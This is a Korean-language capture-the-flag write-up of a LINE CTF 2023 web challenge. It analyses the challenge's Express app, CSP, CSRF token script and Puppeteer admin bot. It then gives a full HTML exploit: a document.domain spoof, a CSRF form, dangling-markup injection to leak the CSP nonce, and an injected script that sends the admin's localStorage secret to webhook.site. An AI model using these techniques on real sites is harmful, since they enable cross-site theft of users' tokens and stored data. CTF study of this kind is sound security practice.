LINE CTF 2023의
Web 분야 7번 문제 입니다.
# 개요
다양한 취약점들이
복합적으로 적용된 문제입니다.
적용된 취약점:
1. 2022년 10월 Intigriti XSS 챌린지
- Object.defineProperty를 통한 document.domain 변조
- Object.defineProperty(document, 'domain', {get: () => "vuln.com"});
2. Firefox의 Dangling Markup Injection 필터링 미흡
# 환경 및 사이트 구성
문제 파일을 다운받으면,
환경 구성 정보가 담긴 파일들과
소스 코드들이 있으나
환경 구성을 위한 Dockerfile이 없어서
문제 출제자가
외부로 오픈한 서버를 사용했습니다.
적당한 Username과 Password를 입력하면
Login or Register 할 수 있습니다.
로그인하면 Note를 저장할 수 있는 페이지가 나탑니다.
적당한 내용을 입력하면 Local Storage에 저장되는데,
단지 저장될 뿐 새로고침을 해도
화면에는 나타나지 않기 때문에
Note로는 기능하지 않습니다.
또한, 위의 폼으로 이름을 변경할 수 있습니다.
예를 들어, 처음에는
유저명에서 따온 asdfasdf이라는 이름이었는데,
아래와 같이 fdsafdsa로 변경할 수 있었습니다.
# 분석
문제가 복합적이다 보니
문제 풀이를 위해
다양한 파일을
참고해야 합니다.
+ docker-compose.yml
FLAG의 위치 뿐만 아니라
여러가지 환경변수를
확인할 수 있습니다.
version: "3.5"
services:
assn-redis:
image: redis:latest
command: ["redis-server", "/etc/redis/redis.conf"]
volumes:
- ./redis.conf:/etc/redis/redis.conf
restart: always
container_name: web.assn-redis
networks:
- assn-web
- assn-redis-bot
...
assn-bot:
build:
context: ./bot/
dockerfile: Dockerfile
restart: always
container_name: web.assn-bot
environment:
- FLAG=LINECTF{redacted}
- REDIS_PASSWORD=redacted
- ADMIN_USERNAME=redacted
- ADMIN_PASSWORD=redacted
- DOMAIN=localhost
- PORT=11004
depends_on:
- assn-redis
networks:
- assn-redis-bot
networks:
assn-web: {}
assn-redis-bot: {}
FLAG는 assn-bot의
환경변수에 선언되어 있습니다.
+ /bot/pupeteer.js
bot이 어떻게 동작하는지
확인할 수 있습니다.
const Puppeteer = require("puppeteer");
const { FLAG: flag } = process.env;
function sleep(time) {
return new Promise((resolve) => {
setTimeout(resolve, time);
});
}
// Admin visiting your URL
async function visit(url) {
const browser = await Puppeteer.launch({
product: "firefox", // firefox 브라우저 실행
headless: true,
ignoreHTTPSErrors: true,
});
/* 문제 사이트 접속 및 ADMIN 로그인 */
const page = await browser.newPage();
const pageUrl = `https://${process.env.DOMAIN}:${process.env.PORT}`;
await page.goto(pageUrl, { timeout: 3000, waitUntil: "domcontentloaded" });
await page.type("#username", process.env.ADMIN_USERNAME);
await page.type("#password", process.env.ADMIN_PASSWORD);
await page.click("#submit");
await sleep(500);
/* FLAG를 ADMIN의 localStorage에 secret에 저장*/
await page.evaluate((flag) => {
localStorage.setItem("secret", flag);
}, flag); // Store flag to localStorage secret
/* 입력받은 URL로 접속 후 종료 */
await page
.goto(url, { timeout: 3000 })
.catch((error) => console.error(error));
await sleep(3000);
await page.close();
await browser.close();
}
module.exports = { visit };
bot의 행동은 다음과 같습니다.
1. 문제 사이트 접속
2. ADMIN 로그인
3. Flag를 localStorage의 secret에 저장
4. 입력받은 URL로 접속 후 종료
CSRF를 발생시키고
CSP를 우회하며,
localStorage에서 FLAG를 획득하는
스크립트를 삽입한 URL로
bot을 접속 시키면
FLAG를 획득할 수 있습니다.
+ /web/views/getSetting.js
CSRF token을
확인할 수 있습니다.
document.domain으로
현재 domain을 검증하고 있기 때문에
이 검증을 우회해야 합니다.
function isInWindowContext() {
const tmp = self;
self = 1; // magic
const res = (this !== self);
self = tmp;
return res;
}
// Ensure it is in window context with correct domain only :)
// Setting up variables and UI
if (isInWindowContext() && document.domain === '<%= domain %>') {
const urlParams = new URLSearchParams(location.search);
try { document.getElementById('error').innerText = urlParams.get('error'); } catch (e) {}
try { document.getElementById('message').innerText = urlParams.get('message'); } catch (e) {}
try { document.getElementById('_csrf').value = '<%= csrf %>'; } catch (e) {}
}
+ /web/index.js
메인 페이지에서는
여러 페이지의 로직 뿐만 아니라
Cookie 생성 및
CSP 설정을 확인할 수 있습니다.
const fs = require('fs')
const ejs = require('ejs')
const path = require('path')
const crypto = require('crypto')
const express = require('express')
const cookieParser = require('cookie-parser')
const { db, createNewUser, getCsrf } = require('./db');
const app = express()
app.use('/', express.static(path.join(__dirname, 'public')))
app.use(express.urlencoded({extended: false}))
app.use(cookieParser())
function rand() { return crypto.randomBytes(20).toString('hex') }
app.use((req, res, next) => {
const { id } = req.cookies;
req.user = (id && db.cookies[id] && db.cookies[id].username) ? db.cookies[id].username : undefined;
/* The CSP is set as: default-src 'self'; base-uri 'self'; script-src 'nonce-cookie_nonce_값'. */
const csp = (id && db.cookies[id] && db.cookies[id].nonce) ? `script-src 'nonce-${db.cookies[id].nonce}'` : '';
res.setHeader('Content-Security-Policy', `default-src 'self'; base-uri 'self'; ${csp}`)
next()
})
function shouldBeLoggedIn(req, res, next) { if (!req.user) res.redirect('/'); else next(); }
function shouldNotBeLoggedIn(req, res, next) { if (req.user) res.redirect('/profile'); else next(); }
function csrfCheck(req, res, next) {
const { csrf } = req.body
if (csrf !== getCsrf(req.cookies.id)) return res.redirect(`${req.path}?error=Wrong csrf`)
next()
}
app.get('/', shouldNotBeLoggedIn, (req, res) => {
res.render('auth.ejs')
})
app.post('/', shouldNotBeLoggedIn, csrfCheck, (req, res) => {
const { username, password } = req.body
try {
if (db.users[username]) {
if (db.users[username].password !== password) throw 'Wrong password';
} else createNewUser(username, password)
const newCookie = rand()
db.cookies[newCookie] = Object.create(null)
db.cookies[newCookie].username = username
db.cookies[newCookie].csrf = rand()
db.cookies[newCookie].nonce = rand()
/* Cookie는 다행이 SameSite가 None 이다. */
res.setHeader('Set-Cookie', `id=${newCookie}; HttpOnly; SameSite=None; Secure`)
res.redirect('/profile')
} catch (err) {
res.redirect(`/?error=${err}`)
}
})
/* csp.gif로 접근하면 nonce cookie가 바뀜... */
app.get('/csp.gif', shouldBeLoggedIn, (req, res) => {
db.cookies[req.cookies.id].nonce = rand()
res.setHeader('Content-Type', 'image/gif')
res.send('OK')
})
/* CSRF token 생성 */
const settingsFile = fs.readFileSync('./views/getSettings.js', 'utf-8');
app.get('/getSettings.js', (req, res) => {
res.setHeader('Content-Type', 'text/javascript');
const response = ejs.render(settingsFile, {
csrf: getCsrf(req.cookies.id),
domain: process.env.DOMAIN,
});
res.end(response);
})
/* profile 페이지 로드 시 인라인 스크립트를 위한 Nonce 가 필요 */
app.get('/profile', shouldBeLoggedIn, (req, res) => {
res.render('profile.ejs', {
name: db.users[req.user].name,
nonce: db.cookies[req.cookies.id].nonce,
});
})
app.post('/profile', shouldBeLoggedIn, csrfCheck, (req, res) => {
const { name } = req.body;
db.users[req.user].name = name;
res.redirect('/profile?message=Successfully updated name')
})
// For interacting with admin bot
app.use('/bot', shouldBeLoggedIn, require('./bot.js'));
// We might need to change this to https in real challenge
const https = require('https');
const port = 4567
https
.createServer({
key: fs.readFileSync('key.pem'),
cert: fs.readFileSync('cert.pem'),
}, app)
.listen(port, () => {
console.log(`Server is runing at port ${port}`)
});
# 풀이
문제 풀이를 위해서는
아래 우회 방법을 포함하는
스크립트를 작성하여
ADMIN이 그 스크립트를
실행하도록 해야합니다.
우회 스크립트 요구사항:
1. CSRF token 획득
- 요구: document.domain === '<%= domain %>' 조건 우회
- 방법: Object.defineProperty(document, 'domain', {get: () => "35.200.57.143"});
- 대회 당시 서버의 IP 가 35.200.57.143
2. CSP 우회
- 요구: XSS를 위한 nonce 획득(인라인 스크립트 실행)
- 방법: Firefox의 Dangling Markup Injection 필터링 미흡
(<meta http-equiv="refresh" content='1; url=https://<your_domain>/?leak=)
3. nonce 갱신 우회
- 요구: /csp.gif 접속 방지
- 방법1(출제자 의도): /profile이 아닌 /profile/로 접속하여 /profile/csp.gif 페이지(존재하지 않음)를 호출
(profile.ejs 파일의 line 8: <img src=csp.gif>
src가 상대 주소라 /profile/로 하면 접속지는 /profile/csp.gif가 됨)
- 방법2(다른 방법): <base href='https://35.200.57.143:11004/[미존재_Page]'> Tag로 스크립트 제작
- 출제자가 CSP 설정을 잘못해서 두 번째 방법이 가능 (base-uri 'self')
+ Solve!
위의 우회 조건을
모두 만족시키는 스크립트는
아래와 같습니다.
<html>
<body>
<script>
// documnet.domain 필터 우회
Object.defineProperty(document, 'domain', {get: () => "assn.anctf.tk"});
</script>
<!-- CSRF token 획득 -->
<form action="https://assn.anctf.tk/profile" method=POST>
<input class=change-name type=text name=name>
<input type=text name=csrf id=_csrf>
<input type=submit value=Submit>
</form>
<script src="https://assn.anctf.tk/getSettings.js"></script>
<script>
(async () => {
if(document.location.href.length<=60){
// CSP 우회를 위한 Dangling Markup Injection
document.getElementsByName('name')[0].value=`<meta http-equiv="refresh" content='0; url=http://webhook.site/?b=`;
document.forms[0].submit();
setTimeout(() => window.location='https://assn.anctf.tk/profile/', 30);
} else {
// nonce 값, FLAG 획득
var url = document.location.href;
var nonce = url.split('nonce=')[1].split('%20')[0];
var paylaod = `<script nonce=${nonce}>document.location='http://webhook.site/?b='+localStorage.getItem('secret');</`+`script>`;
document.getElementsByName('name')[0].value=paylaod;
document.forms[0].submit();
setTimeout(() => window.location='https://assn.anctf.tk/profile/', 50);
}
})()
</script>
</body>
</html>
문제를 풀기 위해
ADMIN bot이 접속할 사이트로
https://webhook.site 를 이용했습니다.
위의 스크립트를 이용하면
ADMIN bot이 어떻게
값을 보내는지 확인할 수 있습니다.